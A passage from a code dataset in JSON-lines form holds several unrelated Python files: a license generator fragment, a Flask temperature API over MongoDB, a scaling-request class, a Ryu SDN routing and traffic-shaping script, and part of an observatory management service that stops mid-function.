4\n for k, v in _LICENSES.items():\n print('{0}{1}: {2}'.format(indent, k, v[1]))\n\n def generate(self):\n licFile = os.path.join(self.projectDir, 'LICENSE')\n\n ret = self.write_file(_LICENSES[self.license][0], licFile)\n if not ret:\n self.logger.info(\n \"* You can change the license with 'license' sub-command.\\n\"\n \" For help, see 'templator license -h or --help'.\")\n\n return ret\n","sub_path":"templator/makers/license.py","file_name":"license.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"101261683","text":"#!/usr/bin/env python\nfrom flask import Flask\nfrom flask import render_template\nfrom flask_pymongo import PyMongo\n\napp = Flask(__name__)\n\n#mongo\napp.config[\"MONGO_URI\"] = \"mongodb://192.168.7.143:27017/temperature\"\nmongo = PyMongo(app)\n\n@app.route('/')\n@app.route('/index/')\ndef index():\n return render_template('index.html')\n@app.route(\"/get_one_temp_api\")\ndef temp1():\n one_temp = mongo.db.temperature.find_one()\n #print(temp_reading)\n return str(one_temp)\n\n@app.route(\"/get_ten_temps_api\")\ndef temp10():\n temps = \"\"\n ten_temps = mongo.db.temperature.find().limit(10)\n for temp in ten_temps:\n temps=temps+str(temp)\n print(temps)\n return temps\n\n@app.route(\"/recent_temps\")\ndef recent():\n temps = mongo.db.temperature.find().limit(10)\n \n return render_template('temps.html',temps=temps)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0') # open for everyonepy\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"647875955","text":"__author__ = 'brnr'\n\nimport json\nfrom dynamite.GENERAL.DynamiteExceptions import IllegalArgumentError\n\nclass DynamiteScalingRequest(object):\n\n command = None\n service_name = None\n service_instance_name = None\n failure_counter = None\n message_processed_callback = None\n\n def __repr__(self):\n return \"DynamiteScalingRequest(\" \\\n \"command=\\\"{}\\\", \" \\\n \"service_name=\\\"{}\\\", \" \\\n \"service_instance_counter=\\\"{}\\\", \" \\\n \"failure_counter=\\\"{}\\\", \" \\\n .format(\n self.command,\n self.service_name,\n self.service_instance_name,\n self.failure_counter,\n )\n\n def to_json_string(self):\n instance_dict = {}\n\n for variable, value in self.__dict__.items():\n instance_dict[variable] = value\n\n json_string = json.dumps(instance_dict)\n\n return json_string\n\n def message_processed(self):\n if self.message_processed_callback is not None:\n self.message_processed_callback()\n\n def __eq__(self, other):\n if other is None:\n return False\n return self.command == other.command \\\n and self.failure_counter == other.failure_counter \\\n and self.service_instance_name == other.service_instance_name \\\n and self.service_name == other.service_name\n\n def __repr__(self):\n return \"DynamiteScalingRequest(service_name={},service_instance_name={},failure_counter={},command={})\".format(\n self.service_name,\n self.service_instance_name,\n repr(self.failure_counter),\n repr(self.command)\n )\n\n @classmethod\n def from_service(cls, service, command, service_instance_name=None):\n request = DynamiteScalingRequest()\n request.service_name = service.name\n request.service_instance_name = service_instance_name\n request.failure_counter = 0\n request.command = command\n return request\n\n @classmethod\n def from_scaling_action(cls, scaling_action):\n request = DynamiteScalingRequest()\n request.service_name = scaling_action.service_name\n request.service_instance_name = scaling_action.service_instance_name\n request.command = scaling_action.command\n request.failure_counter = 0\n return request\n\n @classmethod\n def from_json_string(cls, scaling_request_string, message_processed_callback=None):\n if not isinstance(scaling_request_string, str):\n raise IllegalArgumentError(\"Error: argument needs to be of type \")\n\n scaling_request_json = json.loads(scaling_request_string)\n scaling_request = DynamiteScalingRequest()\n scaling_request.message_processed_callback = message_processed_callback\n scaling_request.command = scaling_request_json[\"command\"]\n scaling_request.service_name = scaling_request_json[\"service_name\"]\n scaling_request.service_instance_name = scaling_request_json[\"service_instance_name\"]\n scaling_request.failure_counter = scaling_request_json[\"failure_counter\"]\n return scaling_request\n","sub_path":"dynamite/EXECUTOR/DynamiteScalingRequest.py","file_name":"DynamiteScalingRequest.py","file_ext":"py","file_size_in_byte":3226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"460150484","text":"import json\nimport time\n\nimport numpy as np\nimport requests\nimport re\n\nfrom rest_middleware import PostFunctions as post_ryu, GetFunctions as get_ryu\n\nimport os\n\nimport shlex, subprocess\nimport yaml\n\nfrom mapping import Testbed_Tools\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\nt = Testbed_Tools()\n\nwith open(\"config.yaml\", \"r\") as ymlfile:\n mapping_yaml = yaml.safe_load(ymlfile)\n\n\n######################################### Global Variables ###################################################\n\n# Static Hosts\nhosts = [\"10.0.0.0/24\", \"10.0.0.1\", \"10.0.0.2\", \"10.0.0.3\"]\npod_ip = [\"192.168.46.0/26\", mapping_yaml[\"ASSOCIATION\"][\"POD-H1\"][\"pod_ip\"], mapping_yaml[\"ASSOCIATION\"][\"POD-H2\"][\"pod_ip\"], \"192.168.46.128/26\"]\n\n# IP and ARP codes\nip_code, arp_code = 2048, 2054\n\n#Priority\nhigh_priority, low_priority = 500, 0\n\n# URL's\nadd_uri = 'http://localhost:8080/stats/flowentry/add'\ndel_uri = 'http://localhost:8080/stats/flowentry/delete'\n\nswitches_stats = 'http://localhost:8080/stats/switches'\n\ntable_id = lambda x: x\ngo_to = lambda x: x\n\nnumber_of_switch = get_ryu.get_port_desc(switches_stats)\n\n\n\n######################################### Clean entry and define table - TABLE 0 ###################################################\n\nclass SwitchKpiObject():\n def switch_kpi_object(self, switch_id, port_number): \n return {\n \"switch_{}:port_{}\".format(switch_id,port_number) : {\n 'delay': '',\n 'jitter': '',\n 'throughput': '',\n 'updated_at': '',\n }\n }\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n \n\nwith open(dir_path + \"/../tmp/default_path.json\",\"r+\") as my_paths:\n default_paths = json.load(my_paths)\n#print(default_paths)\nswitch_kpi_instance = SwitchKpiObject()\n\n#sed -i '1d;2d;3d' tmp/adjacency_matrices.yaml\n\n\n\n\n#with open(dir_path + \"/../tmp/adjacency_matrices.yaml\",\"r\") as yamlfile:\n# \n# data = yaml.load(yamlfile, Loader=yaml.FullLoader)\n# \n# if data['dictitems']\n# print(data['dictitems'][6][3])\n\nfor current_switch in range(1, (len(number_of_switch)+1)):\n post_ryu.clean_all_flow_entry(del_uri, current_switch, 1)\n post_ryu.clean_all_flow_entry(del_uri, current_switch, 2)\n\nfor x in range(1, len(number_of_switch)+1):\n post_ryu.change_table_entry(add_uri, x, 0, high_priority, hosts[0], ip_code, 1)\n post_ryu.change_table_entry(add_uri, x, 0, high_priority, hosts[0], arp_code, 2)\n\n post_ryu.change_table_entry(add_uri, x, 0, high_priority, pod_ip[1], ip_code, 1)\n post_ryu.change_table_entry(add_uri, x, 0, high_priority, pod_ip[1], arp_code, 2)\n\n post_ryu.change_table_entry(add_uri, x, 0, high_priority, pod_ip[2], ip_code, 1)\n post_ryu.change_table_entry(add_uri, x, 0, high_priority, pod_ip[2], arp_code, 2)\n\nclass ChangeSwitch():\n def change_switch_route(self, s_analisado, s_ida, s_volta, the_host, destiny_host):\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(1), high_priority, 0,hosts[the_host], ip_code, go_to(s_volta))\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(1), high_priority, s_volta,hosts[destiny_host], ip_code, go_to(s_ida))\n \n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(2), low_priority, 0, hosts[the_host], arp_code, go_to(s_volta))\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(2), low_priority, s_volta, hosts[destiny_host], arp_code, go_to(s_ida))\n\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(1), high_priority, 0,pod_ip[the_host], ip_code, go_to(s_volta))\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(1), high_priority, s_volta,pod_ip[destiny_host], ip_code, go_to(s_ida))\n\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(2), low_priority, 0, pod_ip[the_host], arp_code, go_to(s_volta))\n post_ryu.add_flow_entry(add_uri, s_analisado, table_id(2), low_priority, s_volta, pod_ip[destiny_host], arp_code, go_to(s_ida))\n\n \n def manage_switch_traffic(self, switch, iface_port, delay, limit, rate, loss, type_request):\n if type_request == 'delay':\n subprocess.run(['sudo', 'tc','qdisc','change','dev',\n 's{}-eth{}'.format(int(switch), int(iface_port)), 'handle', '10:', 'netem', 'delay', '{}ms'.format(delay)])\n elif type_request == 'rate':\n subprocess.run(['sudo', 'tc','qdisc','replace','dev',\n 's{}-eth{}'.format(int(switch), int(iface_port)), 'root', 'netem', 'delay', \n '{}ms'.format(delay), 'rate', '{}Mbit'.format(rate),'limit','{}'.format(limit)])\n elif type_request == 'loss':\n subprocess.run(['sudo', 'tc','qdisc','change','dev',\n 's{}-eth{}'.format(int(switch), int(iface_port)), 'handle', '10:', 'netem', 'loss', '{}%'.format(loss)])\n \n\nclass PostDelaySwitch():\n def post_delay_switch(self, s_analisado): \n post_ryu.change_table_entry(add_uri, s_analisado, table_id(0), high_priority, hosts[0], ip_code, 3)\n time.sleep(0.1) \n post_ryu.change_table_entry(add_uri, s_analisado, table_id(0), high_priority, hosts[0], ip_code, 1)\n\n\ndef main():\n change = ChangeSwitch()\n print(\"Creating Default Routes...\")\n\n \n \n change.change_switch_route(1, 2, 1, 1, 2)\n change.change_switch_route(1, 3, 1, 1, 3)\n\n change.change_switch_route(2, 2, 1, 1, 3)\n change.change_switch_route(3, 2, 1, 1, 3)\n change.change_switch_route(7, 5, 1, 1, 3)\n\n change.change_switch_route(4, 2, 1, 1, 3)\n change.change_switch_route(5, 2, 1, 1, 3)\n change.change_switch_route(6, 2, 1, 1, 3)\n\n change.change_switch_route(8, 2, 1, 1, 3)\n\n \n \n\n\n #Isso é para o Host H2 que não aparece no TCC\n #change.change_switch_route(1, 3, 2, 2, 3)\n #change.change_switch_route(2, 2, 1, 2, 3)\n #change.change_switch_route(3, 2, 1, 2, 3)\n #change.change_switch_route(7, 5, 1, 2, 3)\n\n time.sleep(1)\n print(\"Finish!\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/manage_switch.py","file_name":"manage_switch.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"245806030","text":"#!/usr/bin/env python\n\n\"\"\"Observatory Management Service to keep track of observatories sites, logical platform sites, instrument sites,\nand the relationships between them\"\"\"\n\nimport time\n\n\nfrom pyon.core.exception import NotFound, BadRequest, Inconsistent\nfrom pyon.public import CFG, IonObject, RT, PRED, LCS, LCE, OT\nfrom pyon.ion.resource import ExtendedResourceContainer\nfrom pyon.util.containers import create_unique_identifier\nfrom pyon.agent.agent import ResourceAgentState\n\nfrom ooi.logging import log\n\nfrom ion.services.sa.observatory.observatory_impl import ObservatoryImpl\nfrom ion.services.sa.observatory.subsite_impl import SubsiteImpl\nfrom ion.services.sa.observatory.platform_site_impl import PlatformSiteImpl\nfrom ion.services.sa.observatory.instrument_site_impl import InstrumentSiteImpl\nfrom ion.services.sa.observatory.observatory_util import ObservatoryUtil\n\n#for logical/physical associations, it makes sense to search from MFMS\nfrom ion.services.sa.instrument.instrument_device_impl import InstrumentDeviceImpl\nfrom ion.services.sa.instrument.platform_device_impl import PlatformDeviceImpl\n\nfrom interface.services.sa.iobservatory_management_service import BaseObservatoryManagementService\nfrom interface.services.sa.idata_product_management_service import DataProductManagementServiceClient\nfrom interface.services.sa.idata_process_management_service import DataProcessManagementServiceClient\nfrom interface.objects import OrgTypeEnum, ComputedValueAvailability, ComputedIntValue, StatusType\n\nfrom ion.util.related_resources_crawler import RelatedResourcesCrawler\n\nimport constraint\n\nINSTRUMENT_OPERATOR_ROLE = 'INSTRUMENT_OPERATOR'\nOBSERVATORY_OPERATOR_ROLE = 'OBSERVATORY_OPERATOR'\nDATA_OPERATOR_ROLE = 'DATA_OPERATOR'\nAGENT_STATUS_EVENT_DELTA_DAYS = 5\n\n\nclass ObservatoryManagementService(BaseObservatoryManagementService):\n\n\n def on_init(self):\n IonObject(\"Resource\") # suppress pyflakes error\n CFG, log, RT, PRED, LCS, LCE, NotFound, BadRequest, log #suppress pyflakes errors about \"unused import\"\n\n self.override_clients(self.clients)\n self.outil = ObservatoryUtil(self)\n\n self.HIERARCHY_DEPTH = {RT.InstrumentSite: 3,\n RT.PlatformSite: 2,\n RT.Subsite: 1,\n RT.Observatory: 0,\n }\n \n self.HIERARCHY_LOOKUP = [RT.Observatory, \n RT.Subsite, \n RT.PlatformSite, \n RT.InstrumentSite]\n\n #todo: add lcs methods for these??\n# # set up all of the policy interceptions\n# if self.container and self.container.governance_controller:\n# reg_precondition = self.container.governance_controller.register_process_operation_precondition\n# reg_precondition(self, 'execute_observatory_lifecycle',\n# self.observatory.policy_fn_lcs_precondition(\"observatory_id\"))\n# reg_precondition(self, 'execute_subsite_lifecycle',\n# self.subsite.policy_fn_lcs_precondition(\"subsite_id\"))\n# reg_precondition(self, 'execute_platform_site_lifecycle',\n# self.platform_site.policy_fn_lcs_precondition(\"platform_site_id\"))\n# reg_precondition(self, 'execute_instrument_site_lifecycle',\n# self.instrument_site.policy_fn_lcs_precondition(\"instrument_site_id\"))\n\n\n def override_clients(self, new_clients):\n \"\"\"\n Replaces the service clients with a new set of them... and makes sure they go to the right places\n \"\"\"\n\n #shortcut names for the import sub-services\n if hasattr(new_clients, \"resource_registry\"):\n self.RR = new_clients.resource_registry\n \n if hasattr(new_clients, \"instrument_management\"):\n self.IMS = new_clients.instrument_management\n\n if hasattr(new_clients, \"data_process_management\"):\n self.PRMS = new_clients.data_process_management\n\n #farm everything out to the impls\n\n self.observatory = ObservatoryImpl(new_clients)\n self.subsite = SubsiteImpl(new_clients)\n self.platform_site = PlatformSiteImpl(new_clients)\n self.instrument_site = InstrumentSiteImpl(new_clients)\n\n self.instrument_device = InstrumentDeviceImpl(new_clients)\n self.platform_device = PlatformDeviceImpl(new_clients)\n self.dataproductclient = DataProductManagementServiceClient()\n self.dataprocessclient = DataProcessManagementServiceClient()\n\n\n\n ##########################################################################\n #\n # CRUD OPS\n #\n ##########################################################################\n\n\n def create_marine_facility(self, org=None):\n \"\"\"Create an Org (domain of authority) that realizes a marine facility. This Org will have\n set up roles for a marine facility. Shared resources, such as a device can only be\n registered in one marine facility Org, and additionally in many virtual observatory Orgs. The\n marine facility operators will have more extensive permissions and will supercede virtual\n observatory commands\n\n @param org Org\n @retval org_id str\n @throws BadRequest if object does not have _id or _rev attribute\n @throws NotFound object with specified id does not exist\n \"\"\"\n log.debug(\"ObservatoryManagementService.create_marine_facility(): %s\", org)\n \n # create the org\n org.org_type = OrgTypeEnum.MARINE_FACILITY\n org_id = self.clients.org_management.create_org(org)\n\n #Instantiate initial set of User Roles for this marine facility\n instrument_operator_role = IonObject(RT.UserRole,\n name=INSTRUMENT_OPERATOR_ROLE,\n label='Observatory Operator', #previously Instrument Operator\n description='Operate and post events related to Observatory Platforms and Instruments')\n self.clients.org_management.add_user_role(org_id, instrument_operator_role)\n observatory_operator_role = IonObject(RT.UserRole,\n name=OBSERVATORY_OPERATOR_ROLE,\n label='Observatory Manager', # previously Observatory Operator\n description='Change Observatory configuration, post Site-related events')\n self.clients.org_management.add_user_role(org_id, observatory_operator_role)\n data_operator_role = IonObject(RT.UserRole,\n name=DATA_OPERATOR_ROLE,\n label='Observatory Data Operator', # previously Data Operator\n description='Manipulate and post events related to Observatory Data products')\n self.clients.org_management.add_user_role(org_id, data_operator_role)\n \n return org_id\n\n def create_virtual_observatory(self, org=None):\n \"\"\"Create an Org (domain of authority) that realizes a virtual observatory. This Org will have\n set up roles for a virtual observatory. Shared resources, such as a device can only be\n registered in one marine facility Org, and additionally in many virtual observatory Orgs. The\n marine facility operators will have more extensive permissions and will supercede virtual\n observatory commands\n\n @param org Org\n @retval org_id str\n @throws BadRequest if object does not have _id or _rev attribute\n @throws NotFound object with specified id does not exist\n \"\"\"\n log.debug(\"ObservatoryManagementService.create_virtual_observatory(): %s\", org)\n\n # create the org\n org.org_type = OrgTypeEnum.VIRTUAL_OBSERVATORY\n org_id = self.clients.org_management.create_org(org)\n\n return org_id\n\n\n def create_observatory(self, observatory=None, org_id=\"\"):\n \"\"\"Create a Observatory resource. An observatory is coupled\n with one Org. The Org is created and associated as part of this call.\n\n @param observatory Observatory\n @retval observatory_id str\n @throws BadRequest if object does not have _id or _rev attribute\n @throws NotFound object with specified id does not exist\n \"\"\"\n\n # create the marine facility\n observatory_id = self.observatory.create_one(observatory)\n\n if org_id:\n self.assign_resource_to_observatory_org(observatory_id, org_id)\n\n return observatory_id\n\n def read_observatory(self, observatory_id=''):\n \"\"\"Read a Observatory resource\n\n @param observatory_id str\n @retval observatory Observatory\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.observatory.read_one(observatory_id)\n\n def update_observatory(self, observatory=None):\n \"\"\"Update a Observatory resource\n\n @param observatory Observatory\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.observatory.update_one(observatory)\n\n def delete_observatory(self, observatory_id=''):\n \"\"\"Delete a Observatory resource\n\n @param observatory_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.observatory.delete_one(observatory_id)\n\n def force_delete_observatory(self, observatory_id=''):\n return self.observatory.force_delete_one(observatory_id)\n\n\n\n def create_subsite(self, subsite=None, parent_id=''):\n \"\"\"Create a Subsite resource. A subsite is a frame of reference within an observatory. Its parent is\n either the observatory or another subsite.\n\n @param subsite Subsite\n @param parent_id str\n @retval subsite_id str\n @throws BadRequest if object does not have _id or _rev attribute\n @throws NotFound object with specified id does not exist\n \"\"\"\n subsite_id = self.subsite.create_one(subsite)\n\n if parent_id:\n self.subsite.link_parent(subsite_id, parent_id)\n\n return subsite_id\n\n def read_subsite(self, subsite_id=''):\n \"\"\"Read a Subsite resource\n\n @param subsite_id str\n @retval subsite Subsite\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.subsite.read_one(subsite_id)\n\n def update_subsite(self, subsite=None):\n \"\"\"Update a Subsite resource\n\n @param subsite Subsite\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.subsite.update_one(subsite)\n\n def delete_subsite(self, subsite_id=''):\n \"\"\"Delete a subsite resource, removes assocations to parents\n\n @param subsite_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n self.subsite.delete_one(subsite_id)\n\n def force_delete_subsite(self, subsite_id=''):\n self.subsite.force_delete_one(subsite_id)\n\n\n\n def create_platform_site(self, platform_site=None, parent_id=''):\n \"\"\"Create a PlatformSite resource. A platform_site is a frame of reference within an observatory. Its parent is\n either the observatory or another platform_site.\n\n @param platform_site PlatformSite\n @param parent_id str\n @retval platform_site_id str\n @throws BadRequest if object does not have _id or _rev attribute\n @throws NotFound object with specified id does not exist\n \"\"\"\n platform_site_id = self.platform_site.create_one(platform_site)\n\n if parent_id:\n self.platform_site.link_parent(platform_site_id, parent_id)\n\n return platform_site_id\n\n def read_platform_site(self, platform_site_id=''):\n \"\"\"Read a PlatformSite resource\n\n @param platform_site_id str\n @retval platform_site PlatformSite\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.platform_site.read_one(platform_site_id)\n\n def update_platform_site(self, platform_site=None):\n \"\"\"Update a PlatformSite resource\n\n @param platform_site PlatformSite\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.platform_site.update_one(platform_site)\n\n def delete_platform_site(self, platform_site_id=''):\n \"\"\"Delete a PlatformSite resource, removes assocations to parents\n\n @param platform_site_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n self.platform_site.delete_one(platform_site_id)\n\n def force_delete_platform_site(self, platform_site_id=''):\n self.platform_site.force_delete_one(platform_site_id)\n\n\n def create_instrument_site(self, instrument_site=None, parent_id=''):\n \"\"\"Create a InstrumentSite resource. A instrument_site is a frame of reference within an observatory. Its parent is\n either the observatory or another instrument_site.\n\n @param instrument_site InstrumentSite\n @param parent_id str\n @retval instrument_site_id str\n @throws BadRequest if object does not have _id or _rev attribute\n @throws NotFound object with specified id does not exist\n \"\"\"\n instrument_site_id = self.instrument_site.create_one(instrument_site)\n\n if parent_id:\n self.instrument_site.link_parent(instrument_site_id, parent_id)\n\n return instrument_site_id\n\n def read_instrument_site(self, instrument_site_id=''):\n \"\"\"Read a InstrumentSite resource\n\n @param instrument_site_id str\n @retval instrument_site InstrumentSite\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.instrument_site.read_one(instrument_site_id)\n\n def update_instrument_site(self, instrument_site=None):\n \"\"\"Update a InstrumentSite resource\n\n @param instrument_site InstrumentSite\n @throws NotFound object with specified id does not exist\n \"\"\"\n return self.instrument_site.update_one(instrument_site)\n\n def delete_instrument_site(self, instrument_site_id=''):\n \"\"\"Delete a InstrumentSite resource, removes assocations to parents\n\n @param instrument_site_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n # todo: give InstrumentSite a lifecycle in COI so that we can remove the \"True\" argument here\n self.instrument_site.delete_one(instrument_site_id)\n\n def force_delete_instrument_site(self, instrument_site_id=''):\n self.instrument_site.force_delete_one(instrument_site_id)\n\n\n\n #todo: convert to resource_impl\n\n def create_deployment(self, deployment=None, site_id=\"\", device_id=\"\"):\n \"\"\"\n Create a Deployment resource. Represents a (possibly open-ended) time interval\n grouping one or more resources within a given context, such as an instrument\n deployment on a platform at an observatory site.\n \"\"\"\n\n deployment_id, version = self.clients.resource_registry.create(deployment)\n\n #Verify that site and device exist, add links if they do\n if site_id:\n site_obj = self.clients.resource_registry.read(site_id)\n if site_obj:\n self.clients.resource_registry.create_association(site_id, PRED.hasDeployment, deployment_id)\n\n if device_id:\n device_obj = self.clients.resource_registry.read(device_id)\n if device_obj:\n self.clients.resource_registry.create_association(device_id, PRED.hasDeployment, deployment_id)\n\n return deployment_id\n\n def update_deployment(self, deployment=None):\n # Overwrite Deployment object\n self.clients.resource_registry.update(deployment)\n\n def read_deployment(self, deployment_id=''):\n # Read Deployment object with _id matching id\n log.debug(\"Reading Deployment object id: %s\", deployment_id)\n deployment_obj = self.clients.resource_registry.read(deployment_id)\n\n return deployment_obj\n\n def delete_deployment(self, deployment_id=''):\n \"\"\"\n Delete a Deployment resource\n \"\"\"\n #Verify that the deployment exist\n deployment_obj = self.clients.resource_registry.read(deployment_id)\n if not deployment_obj:\n raise NotFound(\"Deployment %s does not exist\" % deployment_id)\n\n # Remove the link between the Stream Definition resource and the Data Process Definition resource\n associations = self.clients.resource_registry.find_associations(None, PRED.hasDeployment, deployment_id, id_only=True)\n if not associations:\n raise NotFound(\"No Sites or Devices associated with this Deployment identifier \" + str(deployment_id))\n for association in associations:\n self.clients.resource_registry.delete_association(association)\n\n # Delete the deployment\n self.clients.resource_registry.retire(deployment_id)\n\n def force_delete_deployment(self, deployment_id=''):\n self.clients.resource_registry.delete(deployment_id)\n\n\n ############################\n #\n # ASSOCIATIONS\n #\n ############################\n\n\n def assign_site_to_site(self, child_site_id='', parent_site_id=''):\n \"\"\"Connects a child site (any subtype) to a parent site (any subtype)\n\n @param child_site_id str\n @param parent_site_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n parent_site_obj = self.subsite.read_one(parent_site_id)\n parent_site_type = parent_site_obj._get_type()\n\n if RT.Observatory == parent_site_type:\n self.observatory.link_site(parent_site_id, child_site_id)\n elif RT.Subsite == parent_site_type:\n self.subsite.link_site(parent_site_id, child_site_id)\n elif RT.PlatformSite == parent_site_type:\n self.platform_site.link_site(parent_site_id, child_site_id)\n else:\n raise BadRequest(\"Tried to assign a child site to a %s resource\" % parent_site_type)\n\n def unassign_site_from_site(self, child_site_id='', parent_site_id=''):\n \"\"\"Disconnects a child site (any subtype) from a parent site (any subtype)\n\n @param child_site_id str\n @param parent_site_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n parent_site_obj = self.subsite.read_one(parent_site_id)\n parent_site_type = parent_site_obj._get_type()\n\n if RT.Observatory == parent_site_type:\n self.observatory.unlink_site(parent_site_id, child_site_id)\n elif RT.Subsite == parent_site_type:\n self.subsite.unlink_site(parent_site_id, child_site_id)\n elif RT.PlatformSite == parent_site_type:\n self.platform_site.unlink_site(parent_site_id, child_site_id)\n else:\n raise BadRequest(\"Tried to unassign a child site from a %s resource\" % parent_site_type)\n\n def assign_device_to_site(self, device_id='', site_id=''):\n \"\"\"Connects a device (any type) to a site (any subtype)\n\n @param device_id str\n @param site_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n site_obj = self.subsite.read_one(site_id)\n site_type = site_obj._get_type()\n\n if RT.PlatformSite == site_type:\n self.platform_site.link_device(site_id, device_id)\n elif RT.InstrumentSite == site_type:\n self.instrument_site.link_device(site_id, device_id)\n else:\n raise BadRequest(\"Tried to assign a device to a %s resource\" % site_type)\n\n def unassign_device_from_site(self, device_id='', site_id=''):\n \"\"\"Disconnects a device (any type) from a site (any subtype)\n\n @param device_id str\n @param site_id str\n @throws NotFound object with specified id does not exist\n \"\"\"\n site_obj = self.subsite.read_one(site_id)\n site_type = site_obj._get_type()\n\n if RT.PlatformSite == site_type:\n self.platform_site.unlink_device(site_id, device_id)\n elif RT.InstrumentSite == site_type:\n self.instrument_site.unlink_device(site_id, device_id)\n else:\n raise BadRequest(\"Tried to unassign a device from a %s resource\" % site_type)\n\n def assign_site_to_observatory(self, site_id='', observatory_id=''):\n self.observatory.link_site(observatory_id, site_id)\n\n def unassign_site_from_observatory(self, site_id=\"\", observatory_id=''):\n self.observatory.unlink_site(observatory_id, site_id)\n\n def assign_instrument_model_to_instrument_site(self, instrument_model_id='', instrument_site_id=''):\n self.instrument_site.link_model(instrument_site_id, instrument_model_id)\n\n def unassign_instrument_model_from_instrument_site(self, instrument_model_id='', instrument_site_id=''):\n self.instrument_site.unlink_model(instrument_site_id, instrument_model_id)\n\n def assign_platform_model_to_platform_site(self, platform_model_id='', platform_site_id=''):\n self.platform_site.link_model(platform_site_id, platform_model_id)\n\n def unassign_platform_model_from_platform_site(self, platform_model_id='', platform_site_id=''):\n self.platform_site.unlink_model(platform_site_id, platform_model_id)\n\n def assign_resource_to_observatory_org(self, resource_id='', org_id=''):\n if not org_id:\n raise BadRequest(\"Org id not given\")\n if not resource_id:\n raise BadRequest(\"Resource id not given\")\n\n log.debug(\"assign_resource_to_observatory_org: org_id=%s, resource_id=%s \", org_id, resource_id)\n self.clients.org_management.share_resource(org_id, resource_id)\n\n def unassign_resource_from_observatory_org(self, resource_id='', org_id=''):\n if not org_id:\n raise BadRequest(\"Org id not given\")\n if not resource_id:\n raise BadRequest(\"Resource id not given\")\n\n self.clients.org_management.unshare_resource(org_id, resource_id)\n\n\n\n\n\n\n\n ##########################################################################\n #\n # DEPLOYMENTS\n #\n ##########################################################################\n\n\n\n def deploy_instrument_site(self, instrument_site_id='', deployment_id=''):\n self.instrument_site.link_deployment(instrument_site_id, deployment_id)\n\n def undeploy_instrument_site(self, instrument_site_id='', deployment_id=''):\n self.instrument_site.unlink_deployment(instrument_site_id, deployment_id)\n\n def deploy_platform_site(self, platform_site_id='', deployment_id=''):\n self.platform_site.link_deployment(platform_site_id, deployment_id)\n\n def undeploy_platform_site(self, platform_site_id='', deployment_id=''):\n self.platform_site.unlink_deployment(platform_site_id, deployment_id)\n\n\n def create_site_data_product(self, site_id=\"\", data_product_id=\"\"):\n # verify that both exist\n site_obj = self.RR.read(site_id)\n self.RR.read(data_product_id)\n\n sitetype = type(site_obj).__name__\n\n if not (RT.InstrumentSite == sitetype or RT.PlatformSite == sitetype):\n raise BadRequest(\"Can't associate a data product to a %s\" % sitetype)\n\n # validation\n prods, _ = self.RR.find_objects(site_id, PRED.hasOutputProduct, RT.DataProduct)\n if 0 < len(prods):\n raise BadRequest(\"%s '%s' already has an output data product\" % (sitetype, site_id))\n\n sites, _ = self.RR.find_subjects(sitetype, PRED.hasOutputProduct, data_product_id)\n if 0 < len(sites):\n raise BadRequest(\"DataProduct '%s' is already an output product of a %s\" % (data_product_id, sitetype))\n\n #todo: re-use existing defintion? how?\n\n #-------------------------------\n # Process Definition\n #-------------------------------\n# process_definition = ProcessDefinition()\n# process_definition.name = 'SiteDataProduct'\n# process_definition.description = site_id\n#\n# process_definition.executable = {'module':'ion.processes.data.transforms.logical_transform', 'class':'logical_transform'}\n#\n# process_dispatcher = ProcessDispatcherServiceClient()\n# process_definition_id = process_dispatcher.create_process_definition(process_definition=process_definition)\n\n# subscription = self.clients.pubsub_management.read_subscription(subscription_id = in_subscription_id)\n# queue_name = subscription.exchange_name\n#\n#\n# configuration = DotDict()\n#\n# configuration['process'] = dict({\n# 'output_streams' : [stream_ids[0]],\n# 'publish_streams': {data_product_id: }\n# })\n#\n# # ------------------------------------------------------------------------------------\n# # Process Spawning\n# # ------------------------------------------------------------------------------------\n# # Spawn the process\n# process_dispatcher.schedule_process(\n# process_definition_id=process_definition_id,\n# configuration=configuration\n# )\n#\n# ###########\n\n #----------------------------------------------------------------------------------------------------\n # Create a data process definition\n #----------------------------------------------------------------------------------------------------\n\n dpd_obj = IonObject(RT.DataProcessDefinition,\n name= create_unique_identifier(prefix='SiteDataProduct'), #as per Maurice. todo: constant?\n description=site_id, #as per Maurice.\n module='ion.processes.data.transforms.logical_transform',\n class_name='logical_transform')\n\n\n data_process_def_id = self.dataprocessclient.create_data_process_definition(dpd_obj)\n\n #----------------------------------------------------------------------------------------------------\n # Create a data process\n #----------------------------------------------------------------------------------------------------\n data_process_id = self.dataprocessclient.create_data_process(data_process_def_id,\n None,\n {\"logical\":data_product_id})\n\n self.dataprocessclient.activate_data_process(data_process_id)\n\n #make it all happen\n if RT.InstrumentSite == sitetype:\n self.instrument_site.link_output_product(site_id, data_product_id)\n elif RT.PlatformSite == sitetype:\n 